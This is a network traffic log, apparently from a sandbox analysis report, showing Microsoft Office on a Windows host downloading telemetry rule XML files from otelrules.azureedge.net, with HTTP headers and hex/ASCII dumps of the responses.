2024-10-31 08:07:29 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:29 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080729Z-17c5cb586f62bgw58esgbu9hgw0000000210000000002krp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:30 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-16849878b78qfbkc5yywmsbg0c000000090g000000001ddz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:30 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-16849878b78wv88bk51myq5vxc00000009g0000000009shh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:30 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:30 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-16849878b78qg9mlz11wgn0wcc00000008qg00000000k65v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:30 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:30 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: bf9f7dfd-f01e-0052-0a98-2a9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-15b8d89586fnfb49yv03rfgz1c00000000zg0000000023sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:30 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:30 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c633743c-801e-007b-7ea5-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-17c5cb586f62vrfquq10qybcuw00000002b0000000000vvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:30 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:30 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080730Z-16849878b78p49s6zkwt11bbkn00000008z0000000003t1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:31 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:31 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080731Z-16849878b78qf2gleqhwczd21s00000009eg000000006hab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:31 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080731Z-17c5cb586f6lxnvgvs6hx6p0t800000001900000000068tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c91dfad3-401e-0015-1dd2-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080731Z-17c5cb586f6z6tq2xr35mhd5x000000001w0000000004d8p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:31 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080731Z-16849878b78wc6ln1zsrz6q9w800000008ug00000000g50y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:31 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:31 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080731Z-16849878b7828dsgct3vrzta7000000007s00000000025tr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
